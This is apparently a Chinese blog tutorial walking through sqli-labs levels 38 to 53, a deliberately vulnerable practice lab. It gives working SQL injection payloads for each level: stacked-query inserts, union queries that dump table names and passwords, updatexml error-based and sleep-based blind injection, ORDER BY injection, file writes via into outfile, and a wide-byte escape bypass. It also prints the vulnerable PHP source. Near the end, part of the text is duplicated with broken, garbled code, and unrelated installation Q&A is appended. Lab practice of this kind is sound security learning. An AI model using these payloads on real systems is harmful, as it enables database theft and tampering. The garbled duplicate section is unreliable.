sqlilabs38-53详细教程

声明

学习SQL注入,提高网路安全能力

information_schema

过关之前先要了解一下,我们要研究的是SQL注入,所以有必要先了解一下MYSQL数据库的重要库(表集合):information_schema,这个库中,存在着所有数据库的信息。。。这就意味着,如果我们可以利用漏洞,仅仅去查询这个库,就可以拿到关于数据库的大量信息了。

先看一下,这个数据库的位置
在这里插入图片描述

SCHEMATA

该表记录着所有的数据库名

图中,mysql命令行输入如喜爱命令,会显示目前为止所有的数据库(图左1)

show databases;

使用Navicat查看schemata表的SCHEMA_NAME字段显示所有的数据库(图右1)

使用Navicat连接mysql时左侧显示所有的数据库(图右2)

这三种结果都可以查看目前所有的数据库,这就意味着,如果我们可以操控SQL语句,可以通过查询SCHEMATA表里面的SCHEMA_NAME字段,来查看现有的所有数据库
在这里插入图片描述

TABLES

该表记录着所有的数据库与其表的对应关系

如图,该表里面,TABLE_SCHEMA字段记录着数据库,TABLE_NAME记录着TABLE_SCHEMA对应的表名称

所以靠这个账表,我们可以操纵SQL语句,查到所有的表名

在这里插入图片描述

COLUMNS

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。

多了一个字段COLUMN_NAME

就是所有库对应的表对应的字段

常用

闭合方式判断

判断闭合方式,目前掌握的闭合方式为单引号’’,单引号括号(’’),双引号"",双引号括号("")

当单引号或者双引号出现回显或者语法错误时,如何判断是否带括号呢?

抄袭一波大神的判断方式

遇到SQL注入第一步判断闭合:
首先尝试:

?id=1’
?id=1”

1如果都报错,则为整形闭合。

2如果单引号报错,双引号不报错。
然后尝试

?id=1' --+
?id=1' #

无报错则单引号闭合。
报错则单引号加括号。

3如果单引号不报错,双引号报错。
然后尝试

?id=1" --+
?id=1" #

无报错则双引号闭合。
报错则双引号加括号。


1

输入(其中id=1,1是正确的数据库存在的值),正常回显

?id=1 and true --+
或者
?id=true and true --+

输入,错误回显

?id=1 and false --+
或者
?id=true and false --+

那么就是整形闭合

2

输入(其中id=1,1是正确的数据库存在的值),正常回显

?id=1’ and true --+
或者
?id=true‘ and true --+

输入,错误回显

?id=1’ and false --+
或者
?id=true‘ and false --+

那么就是单引号闭合,其他符号同理

单引号转义绕过

当时用单引号’,代码转义为\’,就使用如下方式替换掉单引号

%df%27
�'
%EF%BF%BD

万能密码

�' and1=1 #

database()

返回当前数据库名

version()

返回数据库的版本号

CONCAT(s1,s2…sn)

字符串 s1,s2 等多个字符串合并为一个字符串

CONCAT_WS(x, s1,s2…sn)

同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符

LIMIT

mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1: 
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.

//如果只给定一个参数,它表示返回最大的记录行数目: 
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。

sleep

left

LEFT(s,n) 返回字符串 s 的前 n 个字符

返回字符串 runoob 中的前两个字符:

SELECT LEFT(‘runoob’,2) – ru

mid

mid()函数为截取字符串一部分。mid(column_name,start,length)

column_name 必需,要提取字符的字段

start 必需,规定开始位置(起始为1)

length 可选,要返回的字符数,如果省略则返回剩余文本

eg:str=“123456” mid(str,2,1) 结果为2

substr

substr()

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

ASCII

返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:

SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;

count

返回查询的记录总数,expression 参数是一个字段或者 * 号

返回 Products 表中 products 字段总共有多少条记录:

SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;

if

IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
SELECT IF(1 > 0,‘正确’,‘错误’)
->正确

updatexml

updatexml()函数,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

总结

所以,只要发现有SQL注入,我们可以操纵SQL语句,就可以通过上述方式,将mysql数据库的库,表,字段一个一个查询出来

刀磨好了,拿sqlilab练练手吧

第三十八关

漏洞复现

所谓堆叠注入,就是使用分号,结束上一句,分号后面跟上新的SQL语句,从而执行该语句

闭合方式为单引号

http://192.168.239.138:86/Less-38/?id=-1';insert into users(id,username,password) values(39,'Less399','Less39')--+

在这里插入图片描述

源码分析

获取id后,未经过任何检测

$id=$_GET['id'];
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
if (mysqli_connect_errno($con1)){
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第三十九关

漏洞复现

闭合方式为整形

http://192.168.239.138:86/Less-39/?id=-1;insert into users(id,username,password) values(399,'Less399','Less399')--+
源码分析

查看源码sql语句可得,无任何过滤方式,闭合方式为整形

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

第四十关

漏洞复现

和38关基本一样,闭合方式为单引号括号’)

http://192.168.239.138:86/Less-40/?id=-1');insert into users(id,username,password) values(40,'Less40','Less40')--+
源码分析

闭合方式为单引号括号’)

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

第四十一关

漏洞复现

闭合方式为整形闭合

http://192.168.239.138:86/Less-41/?id=true and true --+
http://192.168.239.138:86/Less-41/?id=true and false --+

payload:

爆表名:
http://192.168.239.138:86/Less-41/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆内容:
http://192.168.239.138:86/Less-41/?id=0 union select 1,2,group_concat(password) from users --+
同样也可以堆叠注入
http://192.168.239.138:86/Less-41/?id=1;insert into users(id,username,password) values(41,'Less41','Less41')--+
源码分析

获取参数id后,未经过任何过滤,直接写入SQL语句,并且闭合方式为整形

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1

第四十二关

漏洞复现

久违的登录页面

用户名输入框怎么测也测不出来,密码输入框随便输入一个’,就报错了

在这里插入图片描述

密码输入框,闭合方式为单引号(使用hackbar时,要注意,参数是向login.php提交的)

payload

用户名随便输入
11111
密码
a';insert into users(id,username,password) values(42,'Less42','Less42')#
源码分析

可以看到,对参数username进行mysqli_real_escape_string,password没有进行任何处理

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   if (mysqli_connect_errno($con1)){
       echo "Failed to connect to MySQL: " . mysqli_connect_error();
   }
   else{
       @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
   }
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

第四十三关

漏洞复现

闭合方式为单引号括号’)

login_user=111111&login_password='; --+&mysubmit=Login
login_user=111111&login_password='); --+&mysubmit=Login

payload

login_user=111111&login_password=a');insert into users(id,username,password) values(43,'Less43','Less43')#&mysubmit=Login
源码分析

可以看到,对参数username进行mysqli_real_escape_string,password没有进行任何处理,且闭合方式为单引号括号’)

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   if (mysqli_connect_errno($con1)){
       echo "Failed to connect to MySQL: " . mysqli_connect_error();
   }
   else{
       @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
   }
   $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

第四十四关

漏洞复现

还是久违的登录页面

判断出来,是密码单引号闭合注入,测了半天最终使用sleep,发现了漏洞

http://192.168.239.138:86/Less-44/login.php
login_user=111111&login_password=a' or sleep(5) #&mysubmit=Login

payload

login_user=111111&login_password=a';insert into users(id,username,password) values(44,'Less44','Less44')#&mysubmit=Login
源码分析

可以看到,对参数username进行mysqli_real_escape_string,password没有进行任何处理,且闭合方式为单引号’

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   if (mysqli_connect_errno($con1)){
       echo "Failed to connect to MySQL: " . mysqli_connect_error();
   }
   else{
       @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
   }

   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

第四十五关

漏洞复现

还是久违的登录页面

判断出来,是密码单引号括号’)闭合注入,测了半天最终使用sleep,发现了漏洞

http://192.168.239.138:86/Less-45/login.php
login_user=111111&login_password=a') or sleep(5) #&mysubmit=Login

payload

login_user=111111&login_password=a');insert into users(id,username,password) values(45,'Less45','Less45')#&mysubmit=Login
源码分析

可以看到,对参数username进行mysqli_real_escape_string,password没有进行任何处理,且闭合方式为单引号括号’)

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   if (mysqli_connect_errno($con1)){
       echo "Failed to connect to MySQL: " . mysqli_connect_error();
   }
   else{
       @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
   }

   $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

第四十六关

漏洞复现

换了新花样了,提示说有sort参数,sort不就是排序的意思吗?将sort换成1,2,3,查看回显结果,不太一样,当sort为4时,就回显不存在4列,查看回显结果也不难看出,一共就三列,id,username,password,sort值为几,就根据哪个进行排序,推测sort值前为order by

http://192.168.239.138:86/Less-46/?sort=1

那么,基于order by的SQL注入测试方法如下,显示结果不同(执行了用户输入的语句),则表明可以注入

?sort=1 desc
?sort=1 asc

是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行

?sort=right(version(),1)
?sort=left(version(),1)

是否为布尔类型,此时我们可以用报错注入和延时注入

?sort=rand(true)
?sort=rand(false)

或者

?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)

报错注入

?sort=1 and updatexml(1,concat(0x7e,database()),0) --+

时间盲注

?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)

源码分析

可以看到,id参数没有经过任何过滤,就写入SQL语句,并且在order by关键字后面拼接

if(isset($id)){
	$sql = "SELECT * FROM users ORDER BY $id";

第四十七关

漏洞复现

使用之前的法式,测出id的闭合方式为单引号

http://192.168.239.138:86/Less-47/?sort=1' --+
http://192.168.239.138:86/Less-47/?sort=1') --+

确定了闭合方式为单引号,就和盲注有点类似

http://192.168.239.138:86/Less-47/?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

源码分析

可以看到,id参数没有经过任何过滤,就写入SQL语句,并且在order by关键字后面拼接,闭合方式为单引号’

$id=$_GET['sort'];	
if(isset($id)){
	$sql = "SELECT * FROM users ORDER BY '$id'";

第四十八关

漏洞复现

存在注入

?sort=1 desc
?sort=1 asc

是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行

?sort=right(version(),1)
?sort=left(version(),1)

是否为布尔类型,此时我们可以用报错注入和延时注入

?sort=rand(true)
?sort=rand(false)

或者

?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)

基于bool和time

?sort=rand((ascii(mid((select database()),1,1)))>65)
?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

基于文件写入

?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"

源码分析

可以看到,id参数没有经过任何过滤,就写入SQL语句,并且在order by关键字后面拼接

$id=$_GET['sort'];	
if(isset($id)){
	$sql = "SELECT * FROM users ORDER BY $id";

第四十九关

漏洞复现

字符型注入,闭合方式为单引号

http://192.168.239.138:86/Less-49/?sort=1
http://192.168.239.138:86/Less-49/?sort=1'

payload

http://192.168.239.138:86/Less-49/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
http://192.168.239.138:86/Less-49/?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

源码分析

可以看到,id参数没有经过任何过滤,就写入SQL语句,并且在order by关键字后面拼接,闭合方式为单引号’

$id=$_GET['sort'];	
if(isset($id))
	$sql = "SELECT * FROM users ORDER BY '$id'";

第五十关

漏洞复现

和48关基本一样

存在注入

?sort=1 desc
?sort=1 asc

是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行

?sort=right(version(),1)
?sort=left(version(),1)

是否为布尔类型,此时我们可以用报错注入和延时注入

?sort=rand(true)
?sort=rand(false)

或者

?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)

基于bool和time

?sort=rand((ascii(mid((select database()),1,1)))>65)
?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

基于文件写入

?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"

源码分析

源码中使用的mysqli_multi_query()函数,而之前使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句

$id=$_GET['sort'];	
if(isset($id)){
	$sql="SELECT * FROM users ORDER BY $id";
	if (mysqli_multi_query($con1, $sql)){
			if ($result = mysqli_store_result($con1))

第五十一关

漏洞复现

和49关基本一样

字符型注入,闭合方式为单引号

http://192.168.239.138:86/Less-51/?sort=1
http://192.168.239.138:86/Less-51/?sort=1'

payload

http://192.168.239.138:86/Less-51/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
http://192.168.239.138:86/Less-51/?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

源码分析

关也是使用的mysqli_multi_query()函数,闭合方式为单引号’

$id=$_GET['sort'];	
if(isset($id)){
	$sql="SELECT * FROM users ORDER BY '$id'";
	if (mysqli_multi_query($con1, $sql)) {
			if ($result = mysqli_store_result($con1))

第五十二关

漏洞复现

和50关基本一样

存在注入

?sort=1 desc
?sort=1 asc

是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行

?sort=right(version(),1)
?sort=left(version(),1)

是否为布尔类型,此时我们可以用报错注入和延时注入

?sort=rand(true)
?sort=rand(false)

或者

?sort=rand(ascii(left(database(),1))=116)
?sort=rand(ascii(left(database(),1))=115)

基于bool和time

?sort=rand((ascii(mid((select database()),1,1)))>65)
?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

基于文件写入

?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\data.txt"

源码分析

源码几乎一样,可能关键点在于没有报错信息吧

$id=$_GET['sort'];	
if(isset($id)){
	$sql="SELECT * FROM users ORDER BY $id";

第五十三关

漏洞复现

和51关基本一样

字符型注入,闭合方式为单引号

http://192.168.239.138:86/Less-53/?sort=1
http://192.168.239.138:86/Less-53/?sort=1'

payload

http://192.168.239.138:86/Less-53/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
http://192.168.239.138:86/Less-53/?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

源码分析

也是使用的mysqli_multi_query()函数,闭合方式为单引号’,可能关键点在于也没有报错信息吧

$id=$_GET['sort'];	
if(isset($id)){
	$sql="SELECT * FROM users ORDER BY '$id'";

这几关order by快把我做吐了,一会单引号闭合一会整形闭合,关键还都是穿插着来,不过倒是熟悉了order by的常用手工探测方式(滚瓜烂熟)

=1 into outfile “C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\data.txt”




### 源码分析

源码几乎一样,可能关键点在于没有报错信息吧

i d = id= id=_GET[‘sort’];
if(isset($id)){
$sql=“SELECT * FROM users ORDER BY $id”;




## 第五十三关

### 漏洞复现

和51关基本一样

字符型注入,闭合方式为单引号

http://192.168.239.138:86/Less-53/?sort=1
http://192.168.239.138:86/Less-53/?sort=1’


payload

http://192.168.239.138:86/Less-53/?sort=1’ and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))–+
http://192.168.239.138:86/Less-53/?sort=1’ and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)–+




### 源码分析

也是使用的mysqli_multi_query()函数,闭合方式为单引号',可能关键点在于也没有报错信息吧

i d = id= id=_GET[‘sort’];
if(isset($id)){
s q l = " S E L E C T ∗ F R O M u s e r s O R D E R B Y ′ sql="SELECT * FROM users ORDER BY ' sql="SELECTFROMusersORDERBYid’";




这几关order by快把我做吐了,一会单引号闭合一会整形闭合,关键还都是穿插着来,不过倒是熟悉了order by的常用手工探测方式(滚瓜烂熟)



















































  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: sqli-labs-master是一个SQL注入漏洞测试平台,安装教程如下: 1. 下载sqli-labs-master压缩包并解压缩。 2. 安装LAMP或WAMP环境,确保Apache、MySQL和PHP已经安装并配置好。 3. 将解压缩后的sqli-labs-master文件夹复制到Apache或WAMP的web目录下。 4. 在MySQL中创建一个名为“sqli-labs”的数据库,并将sqli-labs文件夹中的“db-creds.inc”文件中的用户名和密码修改为您的MySQL用户名和密码。 5. 在浏览器中访问http://localhost/sqli-labs-master/setup.php,这将创建所需的数据库表和数据。 6. 访问http://localhost/sqli-labs-master/index.html,您将看到sqli-labs的主页。 7. 点击“Lessons”链接,您将看到一系列的SQL注入漏洞测试用例,您可以选择其中的一个进行测试。 8. 在测试用例页面中,您可以看到注入点和注入语句,您可以使用工具如SQLMap等进行注入测试。 希望这个安装教程对您有所帮助。 ### 回答2: sqli-labs-master是一款模拟SQL注入漏洞的实验平台,能够帮助安全研究人员和学生进行SQL注入漏洞的实践操作。以下是关于sqli-labs-master的安装教程: 第一步:系统准备 要在本地安装sqli-labs-master,首先需要将Apache、PHP和MySQL安装在操作系统上。在Debian上,可以使用以下命令进行安装: sudo apt-get install apache2 mysql-server php5 php5-mysql libapache2-mod-php5 在Redhat/CentOS上,请使用以下命令: yum install httpd mysql mysql-server php php-mysql php-gd 安装完成后,请根据需要修改MySQL的root密码,以确保安全性。 第二步:下载sqli-labs-master 可以在GitHub上下载sqli-labs-master,解压缩后将文件夹放入Apache Web服务器的根目录(通常是/var/www/html/)中。 在终端中进入sqli-labs-master目录并运行以下命令来创建数据库: mysql -u root -p < dbs/sqli-labs.sql 第三步:设置数据库连接 打开includes/config.php文件,并修改以下行以反映你的数据库连接设置: $dbuser='root'; // 要替换为MySQL用户名$dbpass='password'; // 要替换为MySQL密码$dbname='sl-db'; // 要替换为数据库名称 第四步:启动Apache Web服务器 启动Apache Web服务器以在浏览器中访问sqli-labs-master。在Ubuntu上,可以使用以下命令: sudo service apache2 start 在Redhat/CentOS上,可以使用以下命令: sudo service httpd start 第五步:访问sqli-labs-master 打开Web浏览器并访问http://localhost/sqli-labs-master。如果一切正常,您将看到sqli-labs-master的主页面。在那里,您可以从“选择级别”下拉菜单中选择不同的安全级别,以练习不同类型的SQL注入攻击。 总之,sqli-labs-master是一个非常有用和实用的实验平台,可以帮助安全研究人员和学生提高SQL注入漏洞的实践操作水平和技能。 ### 回答3: sqli-labs-master是一款用于学习SQL注入的漏洞实验平台,使用它可以了解SQL注入攻击的原理、细节和防御方法。下面是sqli-labs-master的安装教程。 1. 下载sqli-labs-master,可以在Github上进行下载。下载后解压缩到Web服务器的根目录(如/var/www/html/)。 2. 安装LAMP环境。LAMP环境由Linux、Apache、MySQL和PHP构成,是基于Linux系统的Web环境。可以使用yum安装,命令为yum install httpd mariadb-server php php-mysql。 3. 在浏览器中输入localhost/sqli-labs-master启动安装向导。按照提示进行安装,需要设置MySQL的用户名和密码,这些信息将在后续使用中需要。 4. 在Web服务器上建立一个名为“security”(或其他名称)的数据库,用于存储实验中的数据。可以使用MySQL的命令行或phpMyAdmin来创建。 5. 启动实验。在浏览器中输入localhost/sqli-labs-master,可以看到一系列缺陷的Web应用程序。点击每个应用程序,进入到实验中,尝试利用SQL注入漏洞获取数据或改变数据。 6. 学习SQL注入攻击的原理、流程和防御方法。通过实验,可以了解SQL注入攻击的操作流程,如何构造注入语句和绕过防御措施。同时,也可以学习如何防范SQL注入攻击,如输入数据校验、使用预编译语句和过滤特殊字符等方式。 总之,sqli-labs-master是一款非常有用的学习SQL注入的工具,通过它可以了解SQL注入的原理和实践,从而提高Web应用程序的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值